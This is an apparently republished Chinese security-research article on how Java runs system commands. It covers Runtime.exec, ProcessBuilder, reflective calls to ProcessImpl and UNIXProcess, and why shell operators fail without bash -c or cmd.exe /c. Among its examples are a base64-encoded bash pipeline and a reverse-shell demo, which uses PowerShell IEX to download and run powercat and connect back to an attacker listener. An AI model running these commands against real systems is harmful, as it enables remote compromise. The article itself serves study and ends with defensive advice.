JAVA安全之命令执行研究分析
字数 2050 2025-08-22 12:22:30

Java安全之命令执行研究分析

文章前言

命令执行漏洞是Java中一个常见的安全问题。本文主要研究Java原生命令执行方式及其非预期问题,包括:

  • 可控命令执行点使用管道符拼接时无法达到预期效果的原因
  • 输入内容为整个命令时在某些情况下不执行的问题
  • Linux和Windows平台的差异性分析
  • 反弹shell的研究

Java命令执行方式

1. Runtime.getRuntime().exec()

基本介绍

Runtime.getRuntime().exec()是Java中用于执行外部系统命令和程序的方法,属于java.lang.Runtime类。它允许Java应用程序调用操作系统的命令行工具、启动其他应用程序等,返回一个Process对象用于管理和控制正在运行的进程。

方法重载形式

public Process exec(String command) throws IOException
public Process exec(String[] cmdarray) throws IOException
public Process exec(String command, String[] envp) throws IOException
public Process exec(String[] cmdarray, String[] envp) throws IOException

参数说明

  • command: 要执行的命令字符串
  • cmdarray: 字符串数组,包含命令及其参数
  • envp: 可选的环境变量数组

示例代码

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class RuntimeExec {
    public static void main(String[] args) {
        try {
            // 执行命令
            Process process = Runtime.getRuntime().exec("cmd.exe /c calc");
            
            // 获取命令输出
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
            reader.close();
            
            // 等待命令执行完成
            int exitCode = process.waitFor();
            System.out.println("Exited with code: " + exitCode);
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}

执行流程分析

  1. 调用Runtime.getRuntime().exec(String command)
  2. 内部调用exec(String command, String[] envp, File dir)重载方法
  3. 使用StringTokenizer将命令字符串按空白字符(\t \n \r \f)分割成数组cmdarray
  4. 调用ProcessBuilder(cmdarray).environment(envp).directory(dir).start()
  5. ProcessBuilder.start()中:
    • 检查cmdarray参数是否包含null
    • 将第一个参数作为要执行的程序
    • 检查后续参数是否包含空字符\u0000
  6. 调用ProcessImpl.start()创建进程
  7. 使用Win32函数CreateProcess创建实际进程

2. ProcessBuilder.start()

基本介绍

ProcessBuilder是Java中用于创建和管理操作系统进程的类,提供更灵活的方式来配置和启动新进程。

示例代码

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ProcessBuilderEXP {
    public static void main(String[] args) {
        try {
            // 创建ProcessBuilder实例
            ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c", "calc");
            
            // 启动进程
            Process process = processBuilder.start();
            
            // 读取进程输出
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
            
            // 等待进程结束
            int exitCode = process.waitFor();
            System.out.println("Exited with code: " + exitCode);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

执行流程

Runtime.exec()类似,最终都是通过ProcessImpl.start()创建进程。

3. ProcessImpl.start()

基本介绍

ProcessImplstart()方法由ProcessBuilderRuntime.exec()调用,负责创建新的操作系统进程。

反射调用示例

import java.io.ByteArrayOutputStream;
import java.lang.ProcessBuilder.Redirect;
import java.lang.reflect.Method;
import java.util.Map;

public class ProcessImplExec {
    public static void main(String[] args) throws Exception {
        String[] cmds = new String[]{"cmd.exe", "/c", "calc"};
        
        Class clazz = Class.forName("java.lang.ProcessImpl");
        Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, 
                                              String.class, Redirect[].class, boolean.class);
        method.setAccessible(true);
        
        Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
        
        // 读取输出
        byte[] bs = new byte[2048];
        int readSize = 0;
        ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
        while ((readSize = e.getInputStream().read(bs)) > 0) {
            infoStream.write(bs, 0, readSize);
        }
        System.out.println(infoStream.toString());
    }
}

4. UNIXProcess (Linux平台)

基本介绍

在Linux中,Java通过UNIXProcess类调用底层原生方法实现命令执行。

反射调用示例

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class ProcessImplExec {
    public static void main(String[] args) throws Exception {
        String[] cmd_array = new String[] {"touch", "al1ex.txt"};
        
        Class<?> clazz = Class.forName("java.lang.UNIXProcess");
        Method method_toCString = clazz.getDeclaredMethod("toCString", String.class);
        method_toCString.setAccessible(true);
        
        Constructor<?> constructor = clazz.getDeclaredConstructor(
            byte[].class, byte[].class, int.class, byte[].class, 
            int.class, byte[].class, int[].class, boolean.class);
        constructor.setAccessible(true);
        
        constructor.newInstance(
            (byte[]) method_toCString.invoke(null, cmd_array[0]),
            new byte[]{97, 108, 49, 101, 120, 46, 116, 120, 116}, // "al1ex.txt"
            1, null, 0, null, new int[]{-1, -1, -1}, false);
    }
}

5. forkAndExec (Linux平台)

基本介绍

forkAndExec()是Linux中创建新进程并执行指定程序的关键方法,使用fork()系统调用创建子进程。

反射调用示例

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class forkAndExec {
    public static void main(String[] args) throws Exception {
        String[] cmd_array = new String[] {"touch", "Al2ex.txt"};
        
        Class<?> clazz = Class.forName("java.lang.UNIXProcess");
        Method method_toCString = clazz.getDeclaredMethod("toCString", String.class);
        method_toCString.setAccessible(true);
        
        Constructor<?> constructor = clazz.getDeclaredConstructor(
            byte[].class, byte[].class, int.class, byte[].class, 
            int.class, byte[].class, int[].class, boolean.class);
        constructor.setAccessible(true);
        
        Method method_forkAndExec = clazz.getDeclaredMethod("forkAndExec",
            int.class, byte[].class, byte[].class, byte[].class, 
            int.class, byte[].class, int.class, byte[].class, 
            int[].class, boolean.class);
        method_forkAndExec.setAccessible(true);
        
        Object o = constructor.newInstance(
            (byte[]) method_toCString.invoke(null, cmd_array[0]),
            new byte[]{65, 108, 50, 101, 120, 46, 116, 120, 116}, // "Al2ex.txt"
            1, null, 0, null, new int[]{-1, -1, -1}, false);
        
        int pid = (int) method_forkAndExec.invoke(o, 2, null, 
            new byte[]{116, 111, 117, 99, 104}, // "touch"
            new byte[]{65, 108, 50, 101, 120, 46, 116, 120, 116}, // "Al2ex.txt"
            1, null, 0, null, new int[]{-1, -1, -1}, false);
    }
}

命令拼接问题

Linux平台

问题现象

Runtime.getRuntime().exec("echo Al1ex && touch Al1ex.txt");

上述代码中,&&拼接的touch Al1ex.txt不会执行。

原因分析

Java将整个字符串作为命令参数处理,而不是作为shell命令解析。第一个空格前的部分(echo)被当作命令,其余部分(Al1ex && touch Al1ex.txt)被当作参数传递给echo

解决方案

  1. 使用数组形式
String[] command = {"/bin/bash", "-c", "echo Al2ex && touch Al2ex.txt"};
Runtime.getRuntime().exec(command);
  1. Base64编码
bash -c {echo,ZWNobyBBbDFleCAgJiYgdG91Y2ggQWwxZXgudHh0} | {base64,-d} | {bash,-i}

Windows平台

管道符类型

  1. cmd1 | cmd2:将cmd1输出作为cmd2输入
  2. cmd1 || cmd2:cmd1失败后执行cmd2
  3. cmd1 & cmd2:依次执行cmd1和cmd2
  4. cmd1 && cmd2:cmd1成功后执行cmd2

问题现象

Runtime.getRuntime().exec("ping -n 4 x.x.x.x || calc");

||被当作ping命令的参数而非管道符处理。

原因分析

Java将第一个空格前的部分(ping)作为命令,其余部分(-n 4 x.x.x.x || calc)作为参数传递。

解决方案

添加cmd.exe /c前缀:

Runtime.getRuntime().exec("cmd.exe /c ping -n 4 x.x.x.x || calc");

反弹Shell示例

Windows平台使用PowerShell

  1. 攻击机监听:
nc -lvp 4444
  1. 托管powercat.ps1

  2. 执行命令:

Runtime.getRuntime().exec(
    "powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.204.144:1234/powercat.ps1');" +
    "powercat -c 192.168.204.144 -p 4444 -e cmd");

关键总结

  1. Java命令执行主要方式:

    • Runtime.getRuntime().exec()
    • ProcessBuilder.start()
    • 底层实现:ProcessImpl(Windows)和UNIXProcess(Linux)
  2. 命令拼接问题:

    • Linux平台需要使用数组形式或Base64编码
    • Windows平台需要添加cmd.exe /c前缀
  3. 反弹Shell:

    • Windows可使用PowerShell下载并执行脚本
    • Linux可使用/bin/bash -c执行复杂命令
  4. 安全建议:

    • 避免直接使用用户输入构造命令
    • 如需执行复杂命令,应使用数组形式明确指定命令和参数
    • 对用户输入进行严格过滤和转义
Java安全之命令执行研究分析 文章前言 命令执行漏洞是Java中一个常见的安全问题。本文主要研究Java原生命令执行方式及其非预期问题,包括: 可控命令执行点使用管道符拼接时无法达到预期效果的原因 输入内容为整个命令时在某些情况下不执行的问题 Linux和Windows平台的差异性分析 反弹shell的研究 Java命令执行方式 1. Runtime.getRuntime().exec() 基本介绍 Runtime.getRuntime().exec() 是Java中用于执行外部系统命令和程序的方法,属于 java.lang.Runtime 类。它允许Java应用程序调用操作系统的命令行工具、启动其他应用程序等,返回一个 Process 对象用于管理和控制正在运行的进程。 方法重载形式 参数说明 command : 要执行的命令字符串 cmdarray : 字符串数组,包含命令及其参数 envp : 可选的环境变量数组 示例代码 执行流程分析 调用 Runtime.getRuntime().exec(String command) 内部调用 exec(String command, String[] envp, File dir) 重载方法 使用 StringTokenizer 将命令字符串按空白字符( \t \n \r \f )分割成数组 cmdarray 调用 ProcessBuilder(cmdarray).environment(envp).directory(dir).start() 在 ProcessBuilder.start() 中: 检查 cmdarray 参数是否包含null 将第一个参数作为要执行的程序 检查后续参数是否包含空字符 \u0000 调用 ProcessImpl.start() 创建进程 使用Win32函数 CreateProcess 创建实际进程 2. ProcessBuilder.start() 基本介绍 ProcessBuilder 是Java中用于创建和管理操作系统进程的类,提供更灵活的方式来配置和启动新进程。 示例代码 执行流程 与 Runtime.exec() 类似,最终都是通过 ProcessImpl.start() 创建进程。 3. ProcessImpl.start() 基本介绍 ProcessImpl 的 start() 方法由 ProcessBuilder 和 Runtime.exec() 调用,负责创建新的操作系统进程。 反射调用示例 4. UNIXProcess (Linux平台) 基本介绍 在Linux中,Java通过 UNIXProcess 类调用底层原生方法实现命令执行。 反射调用示例 5. forkAndExec (Linux平台) 基本介绍 forkAndExec() 是Linux中创建新进程并执行指定程序的关键方法,使用 fork() 系统调用创建子进程。 反射调用示例 命令拼接问题 Linux平台 问题现象 上述代码中, && 拼接的 touch Al1ex.txt 不会执行。 原因分析 Java将整个字符串作为命令参数处理,而不是作为shell命令解析。第一个空格前的部分( echo )被当作命令,其余部分( Al1ex && touch Al1ex.txt )被当作参数传递给 echo 。 解决方案 使用数组形式 : Base64编码 : Windows平台 管道符类型 cmd1 | cmd2 :将cmd1输出作为cmd2输入 cmd1 || cmd2 :cmd1失败后执行cmd2 cmd1 & cmd2 :依次执行cmd1和cmd2 cmd1 && cmd2 :cmd1成功后执行cmd2 问题现象 || 被当作ping命令的参数而非管道符处理。 原因分析 Java将第一个空格前的部分( ping )作为命令,其余部分( -n 4 x.x.x.x || calc )作为参数传递。 解决方案 添加 cmd.exe /c 前缀: 反弹Shell示例 Windows平台使用PowerShell 攻击机监听: 托管powercat.ps1 执行命令: 关键总结 Java命令执行主要方式: Runtime.getRuntime().exec() ProcessBuilder.start() 底层实现: ProcessImpl (Windows)和 UNIXProcess (Linux) 命令拼接问题: Linux平台需要使用数组形式或Base64编码 Windows平台需要添加 cmd.exe /c 前缀 反弹Shell: Windows可使用PowerShell下载并执行脚本 Linux可使用 /bin/bash -c 执行复杂命令 安全建议: 避免直接使用用户输入构造命令 如需执行复杂命令,应使用数组形式明确指定命令和参数 对用户输入进行严格过滤和转义